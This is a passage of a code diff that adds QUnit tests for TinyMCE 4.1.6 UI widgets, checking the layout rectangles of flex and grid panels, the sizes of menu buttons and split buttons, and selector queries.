+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 23, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 46, 20, 20]);
+	});
+
+	test("direction: column, pack: end, spacing: 3", function() {
+		panel = renderColumnPanel({
+			pack: "end",
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 134, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 157, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 180, 20, 20]);
+	});
+
+	test("direction: column, pack: center, spacing: 3", function() {
+		panel = renderColumnPanel({
+			pack: "center",
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 67, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 113, 20, 20]);
+	});
+
+	test("direction: column, pack: start, padding: 3", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [3, 23, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [3, 43, 20, 20]);
+	});
+
+	test("direction: column, pack: start, spacing: 3, padding: 3", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			padding: 3,
+			spacing: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [3, 26, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [3, 49, 20, 20]);
+	});
+
+	test("direction: column, pack: start, align: start", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			align: "start"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 40, 20, 20]);
+	});
+
+	test("direction: column, pack start, align: center", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			align: "center"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [90, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [90, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [90, 40, 20, 20]);
+	});
+
+	test("direction: column, pack: start, align: end", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			align: "end"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [180, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [180, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [180, 40, 20, 20]);
+	});
+
+	test("direction: column, pack: start, align: stretch", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			align: "stretch"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 200, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 20, 200, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 40, 200, 20]);
+	});
+
+	test("direction: column, pack: start, padding: 3, align: stretch", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			align: "stretch",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 194, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [3, 23, 194, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [3, 43, 194, 20]);
+	});
+
+	test("direction: column, pack: start, flex: mixed values", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			items: [
+				{type: 'spacer', classes: 'red', flex: 0.3},
+				{type: 'spacer', classes: 'green', flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 0.5}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 43]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 43, 20, 98]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 141, 20, 59]);
+	});
+
+	test("direction: column, pack: justify", function() {
+		panel = renderColumnPanel({
+			pack: "justify"
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 180, 20, 20]);
+	});
+
+	test("direction: column, pack: justify, padding: 3", function() {
+		panel = renderColumnPanel({
+			pack: "justify",
+			padding: 3
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [3, 90, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [3, 177, 20, 20]);
+	});
+
+	test("direction: column, pack: justify, minHeight: mixed values, padding: 3", function() {
+		panel = renderColumnPanel({
+			pack: "justify",
+			padding: 3,
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'spacer', classes: 'green', minHeight: 80},
+				{type: 'spacer', classes: 'blue', minHeight: 50}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [3, 45, 20, 80]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [3, 147, 20, 50]);
+	});
+
+	test("direction: column, pack: start, flex: 1, maxHeight: 80 on second", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			height: 400,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', maxHeight: 80, flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 160]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 160, 20, 80]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 240, 20, 160]);
+	});
+
+	test("direction: column, pack: start, flex: 1, minHeight: 150 on second", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			height: 400,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', minHeight: 150, flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 90]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 90, 20, 220]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 310, 20, 90]);
+	});
+
+	test("direction: column, pack: start, flex: 1, reflow after resize outer height", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1},
+				{type: 'spacer', classes: 'green', flex: 1},
+				{type: 'spacer', classes: 'blue', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 67, 20, 67]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 133, 20, 67]);
+
+		panel.layoutRect({w: 400, h: 400}).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 400, 400]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 133]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [0, 133, 20, 133]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [0, 267, 20, 133]);
+	});
+
+	test("direction: column, pack: start, flex: 1, border: 1, reflow after resize inner width", function() {
+		panel = renderColumnPanel({
+			pack: "start",
+			border: 1,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1}
+			]
+		});
+
+		panel.layoutRect({innerW: 400, innerH: 400}).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 402, 402]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [1, 1, 20, 400]);
+	});
+
+	test("direction: column, row flexbox in row flexbox and resize parent", function() {
+		panel = tinymce.ui.Factory.create({
+			type: 'panel',
+			layout: 'flex',
+			align: 'end',
+			items: [
+				{type: 'spacer', classes: 'red'},
+				{type: 'panel', layout: 'flex', padding: 10, spacing: 10, items: [
+					{type: 'spacer', classes: 'yellow'},
+					{type: 'spacer', classes: 'magenta'}
+				]},
+				{type: 'spacer', classes: 'green'}
+			]
+		}).renderTo(document.getElementById('view')).reflow();
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 110, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find("panel")[0]), [20, 0, 70, 40]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[0]), [0, 20, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[1]), [30, 10, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[2]), [60, 10, 20, 20]);
+		Utils.nearlyEqualRects(Utils.rect(panel.find('spacer')[3]), [90, 20, 20, 20]);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/GridLayout.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/GridLayout.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/GridLayout.js	(revision 33402)
@@ -0,0 +1,212 @@
+(function() {
+	module("tinymce.ui.GridLayout", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function renderGridPanel(settings) {
+		var panel = tinymce.ui.Factory.create(tinymce.extend({
+			type: "panel",
+			layout: "grid",
+			defaults: {type: 'spacer'}
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+
+		Utils.resetScroll(panel.getEl('body'));
+
+		return panel;
+	}
+
+	test("automatic grid size 2x2", function() {
+		var panel = renderGridPanel({
+			items: [
+				{classes: 'red'}, {classes: 'green'},
+				{classes: 'blue'}, {classes: 'cyan'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 40, 40]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [20, 0, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 20,  20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [20, 20, 20, 20]);
+	});
+
+	/*
+	test("fixed pixel size, automatic grid size 2x2", function() {
+		panel = renderGridPanel({
+			width: 100, height: 100,
+			align: "center",
+			items: [
+				{classes: 'red'}, {classes: 'green'},
+				{classes: 'blue'}, {classes: 'cyan'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 200, 200]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 17, 22]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [17, 0, 17, 22]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 22, 16, 22]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [17, 22, 17, 22]);
+	});
+	*/
+
+	test("spacing: 3, automatic grid size 2x2", function() {
+		var panel = renderGridPanel({
+			spacing: 3,
+			items: [
+				{classes: 'red'}, {classes: 'green'},
+				{classes: 'blue'}, {classes: 'cyan'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 43, 43]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [23, 0, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 23, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [23, 23, 20, 20]);
+	});
+
+	test("padding: 3, automatic grid size 2x2", function() {
+		var panel = renderGridPanel({
+			padding: 3,
+			items: [
+				{classes: 'red'}, {classes: 'green'},
+				{classes: 'blue'}, {classes: 'cyan'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 46, 46]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [23, 3, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [3, 23, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [23, 23, 20, 20]);
+	});
+
+	test("spacing: 3, padding: 3, automatic grid size 2x2", function() {
+		var panel = renderGridPanel({
+			padding: 3,
+			spacing: 3,
+			items: [
+				{classes: 'red'}, {classes: 'green'},
+				{classes: 'blue'}, {classes: 'cyan'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 49, 49]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [3, 3, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [26, 3, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [3, 26, 20, 20]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [26, 26, 20, 20]);
+	});
+
+	test("inner elements 100x100 maxWidth/maxHeight: 118 (overflow W+H)", function() {
+		var panel = renderGridPanel({
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 118,
+			maxHeight: 118,
+			defaults: {
+				type: 'spacer',
+				minWidth: 100,
+				minHeight: 100
+			},
+			items: [
+				{classes: 'red dotted'}, {classes: 'green dotted'},
+				{classes: 'blue dotted'}, {classes: 'cyan dotted'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 118, 118]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [100, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 100, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [100, 100, 100, 100]);
+		equal(panel.layoutRect().w, 118);
+		equal(panel.layoutRect().h, 118);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+
+	test("inner elements: 100x100, padding: 20, spacing: 10, maxWidth/maxHeight: 118 (overflow W+H)", function() {
+		var panel = renderGridPanel({
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 118,
+			maxHeight: 118,
+			padding: 20,
+			spacing: 10,
+			defaults: {
+				type: 'spacer',
+				minWidth: 100,
+				minHeight: 100
+			},
+			items: [
+				{classes: 'red dotted'}, {classes: 'green dotted'},
+				{classes: 'blue dotted'}, {classes: 'cyan dotted'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 118, 118]);
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [20, 20, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [130, 20, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [20, 130, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [130, 130, 100, 100]);
+		equal(panel.layoutRect().w, 118);
+		equal(panel.layoutRect().h, 118);
+		equal(panel.layoutRect().contentW, 20 + 200 + 10 + 20);
+		equal(panel.layoutRect().contentH, 20 + 200 + 10 + 20);
+	});
+
+	test("inner elements 100x100 maxWidth: 118 (overflow W)", function() {
+		var panel = renderGridPanel({
+			autoResize: true,
+			autoScroll: true,
+			maxWidth: 100,
+			defaults: {
+				type: 'spacer',
+				minWidth: 100,
+				minHeight: 100
+			},
+			items: [
+				{classes: 'red dotted'}, {classes: 'green dotted'},
+				{classes: 'blue dotted'}, {classes: 'cyan dotted'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [100, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 100, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [100, 100, 100, 100]);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+
+	test("inner elements 100x100 maxHeight: 118 (overflow H)", function() {
+		var panel = renderGridPanel({
+			autoResize: true,
+			autoScroll: true,
+			maxHeight: 100,
+			defaults: {
+				type: 'spacer',
+				minWidth: 100,
+				minHeight: 100
+			},
+			items: [
+				{classes: 'red dotted'}, {classes: 'green dotted'},
+				{classes: 'blue dotted'}, {classes: 'cyan dotted'}
+			]
+		});
+
+		deepEqual(Utils.rect(panel.find('spacer')[0]), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[1]), [100, 0, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[2]), [0, 100, 100, 100]);
+		deepEqual(Utils.rect(panel.find('spacer')[3]), [100, 100, 100, 100]);
+		equal(panel.layoutRect().contentW, 200);
+		equal(panel.layoutRect().contentH, 200);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/MenuButton.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/MenuButton.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/MenuButton.js	(revision 33402)
@@ -0,0 +1,108 @@
+(function() {
+	module("tinymce.ui.MenuButton", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createMenuButton(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'menubutton',
+			menu: [
+				{text: '1'},
+				{text: '2'},
+				{text: '3'}
+			]
+		}, settings)).renderTo(document.getElementById('view'));
+	}
+
+	test("menubutton text, size default", function() {
+		var menuButton = createMenuButton({text: 'X'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 46, 30], 4);
+	});
+
+	test("menubutton text, size large", function() {
+		var menuButton = createMenuButton({text: 'X', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 53, 39], 4);
+	});
+
+	test("menubutton text, size small", function() {
+		var menuButton = createMenuButton({text: 'X', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 30, 23], 4);
+	});
+
+	test("menubutton text, width 100, height 100", function() {
+		var menuButton = createMenuButton({text: 'X', width: 100, height: 100});
+
+		deepEqual(Utils.rect(menuButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(menuButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("menubutton icon, size default", function() {
+		var menuButton = createMenuButton({icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 52, 30], 4);
+	});
+
+	test("menubutton icon, size small", function() {
+		var menuButton = createMenuButton({icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 39, 24], 4);
+	});
+
+	test("menubutton icon, size large", function() {
+		var menuButton = createMenuButton({icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 56, 40], 6);
+	});
+
+	test("menubutton icon, width 100, height 100", function() {
+		var menuButton = createMenuButton({icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(menuButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(menuButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("menubutton text & icon, size default", function() {
+		var menuButton = createMenuButton({text: 'X', icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 64, 30], 4);
+	});
+
+	test("menubutton text & icon, size large", function() {
+		var menuButton = createMenuButton({text: 'X', icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 71, 40], 4);
+	});
+
+	test("menubutton text & icon, size small", function() {
+		var menuButton = createMenuButton({text: 'X', icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(menuButton), [0, 0, 49, 24], 4);
+	});
+
+	test("menubutton text & icon, width 100, height 100", function() {
+		var menuButton = createMenuButton({text: 'X', icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(menuButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(menuButton.getEl().firstChild), [1, 1, 98, 98]);
+	});
+
+	test("menubutton click event", function() {
+		var menuButton, clicks = {};
+
+		menuButton = createMenuButton({text: 'X', onclick: function() {clicks.a = 'a';}});
+		menuButton.on('click', function() {clicks.b = 'b';});
+		menuButton.on('click', function() {clicks.c = 'c';});
+		menuButton.fire('click');
+
+		deepEqual(clicks, {a: 'a', b: 'b', c: 'c'});
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Panel.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Panel.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Panel.js	(revision 33402)
@@ -0,0 +1,38 @@
+(function() {
+	var panel;
+
+	module("tinymce.ui.Panel", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createPanel(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'panel'
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+	}
+
+	test("panel width: 100, height: 100", function() {
+		panel = createPanel({
+			width: 100,
+			height: 100
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 100, 100], 4);
+	});
+
+	test("panel border: 1, width: 100, height: 100", function() {
+		panel = createPanel({
+			width: 100,
+			height: 100,
+			border: 1
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 100, 100], 4);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Selector.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Selector.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Selector.js	(revision 33402)
@@ -0,0 +1,127 @@
+(function() {
+	var panel;
+
+	module("tinymce.ui.Selector", {
+		setupModule: function() {
+			panel = tinymce.ui.Factory.create({
+				type: 'panel',
+				items: [
+					{type: 'button', name: 'button1', text: 'button1', classes: 'class1', disabled: true},
+					{type: 'button', name: 'button2', classes: 'class1 class2'},
+					{type: 'button', name: 'button3', classes: 'class2 class1 class3'},
+
+					{type: 'buttongroup', name: 'buttongroup1', items: [
+						{type: 'button', name: 'button4'},
+						{type: 'button', name: 'button5'},
+						{type: 'button', name: 'button6'}
+					]},
+
+					{type: 'buttongroup', name: 'buttongroup2', items: [
+						{type: 'button', name: 'button7'},
+						{type: 'button', name: 'button8'},
+						{type: 'button', name: 'button9'}
+					]},
+
+					{type: 'toolbar', name: 'toolbar1', items: [
+						{type: 'buttongroup', name: 'buttongroup3', items: [
+							{type: 'button', name: 'button10', disabled: true},
+							{type: 'button', name: 'button11'},
+							{type: 'button', name: 'button12', classes: 'class4'}
+						]}
+					]}
+				]
+			}).renderTo(document.getElementById('view'));
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	test("Basic", function() {
+		var matches;
+
+		matches = panel.find('button');
+		equal(matches.length, 12);
+		equal(matches[0].type, 'button');
+
+		equal(panel.find('Button').length, 12);
+		equal(panel.find('buttongroup').length, 3);
+		equal(panel.find('buttongroup button').length, 9);
+		equal(panel.find('toolbar buttongroup button').length, 3);
+		equal(panel.find('button#button1').length, 1);
+		equal(panel.find('buttongroup#buttongroup1 button#button4').length, 1);
+		equal(panel.find('button,button,buttongroup button').length, 12, 'Check unique');
+	});
+
+	test("Classes", function() {
+		equal(panel.find('button.class1').length, 3);
+		equal(panel.find('button.class1.class2').length, 2);
+		equal(panel.find('button.class2.class1').length, 2);
+		equal(panel.find('button.classX').length, 0);
+		equal(panel.find('button.class1, button.class2').length, 3);
+	});
+
+	test("Psuedo:not", function() {
+		equal(panel.find('button:not(.class1)').length, 9);
+		equal(panel.find('button:not(buttongroup button)').length, 3);
+		equal(panel.find('button:not(toolbar button)').length, 9);
+		equal(panel.find('button:not(toolbar buttongroup button)').length, 9);
+		equal(panel.find('button:not(panel button)').length, 0);
+		equal(panel.find('button:not(.class1)').length, 9);
+		equal(panel.find('button:not(.class3, .class4)').length, 10);
+	});
+
+	test("Psuedo:odd/even/first/last", function() {
+		var matches;
+
+		matches = panel.find('button:first');
+
+		equal(matches.length, 4);
+		ok(matches[0].name() == 'button1');
+		ok(matches[3].name() == 'button10');
+
+		matches = panel.find('button:last');
+
+		equal(matches.length, 3);
+		ok(matches[0].name() == 'button6');
+		ok(matches[1].name() == 'button9');
+
+		matches = panel.find('button:odd');
+
+		equal(matches.length, 4);
+		ok(matches[0].name() == 'button2');
+		ok(matches[1].name() == 'button5');
+
+		matches = panel.find('button:even');
+
+		equal(matches.length, 8);
+		ok(matches[0].name() == 'button1');
+		ok(matches[1].name() == 'button3');
+	});
+
+	test("Psuedo:disabled", function() {
+		equal(panel.find('button:disabled').length, 2);
+	});
+
+	test("Attribute value", function() {
+		equal(panel.find('button[name]').length, 12);
+		equal(panel.find('button[name=button1]').length, 1);
+		equal(panel.find('button[name^=button1]').length, 4);
+		equal(panel.find('button[name$=1]').length, 2);
+		equal(panel.find('button[name*=utt]').length, 12);
+		equal(panel.find('button[name!=button1]').length, 11);
+	});
+
+	test("Direct descendant", function() {
+		equal(panel.find('> button').length, 3);
+		equal(panel.find('toolbar > buttongroup').length, 1);
+		equal(panel.find('toolbar > button').length, 0);
+	});
+
+	test("Parents", function() {
+		equal(panel.find("#button10")[0].parents("toolbar,buttongroup").length, 2);
+		equal(panel.find("#button10")[0].parents("panel").length, 1);
+	});
+})();
+
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/SplitButton.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/SplitButton.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/SplitButton.js	(revision 33402)
@@ -0,0 +1,102 @@
+(function() {
+	module("tinymce.ui.SplitButton", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createSplitButton(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'splitbutton'
+		}, settings)).renderTo(document.getElementById('view'));
+	}
+
+	test("splitbutton text, size default", function() {
+		var splitButton = createSplitButton({text: 'X'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 42, 30], 4);
+	});
+
+	test("splitbutton text, size large", function() {
+		var splitButton = createSplitButton({text: 'X', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 49, 39], 4);
+	});
+
+	test("splitbutton text, size small", function() {
+		var splitButton = createSplitButton({text: 'X', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 36, 23], 4);
+	});
+
+	test("splitbutton text, width 100, height 100", function() {
+		var splitButton = createSplitButton({text: 'X', width: 100, height: 100});
+
+		deepEqual(Utils.rect(splitButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(splitButton.getEl().firstChild), [1, 1, 82, 98]);
+	});
+
+	test("splitbutton icon, size default", function() {
+		var splitButton = createSplitButton({icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 50, 30], 4);
+	});
+
+	test("splitbutton icon, size small", function() {
+		var splitButton = createSplitButton({icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 45, 24], 4);
+	});
+
+	test("splitbutton icon, size large", function() {
+		var splitButton = createSplitButton({icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 54, 40], 4);
+	});
+
+	test("splitbutton icon, width 100, height 100", function() {
+		var splitButton = createSplitButton({icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(splitButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(splitButton.getEl().firstChild), [1, 1, 82, 98]);
+	});
+
+	test("splitbutton text & icon, size default", function() {
+		var splitButton = createSplitButton({text: 'X', icon: 'test'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 62, 30], 4);
+	});
+
+	test("splitbutton text & icon, size large", function() {
+		var splitButton = createSplitButton({text: 'X', icon: 'test', size: 'large'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 69, 40], 4);
+	});
+
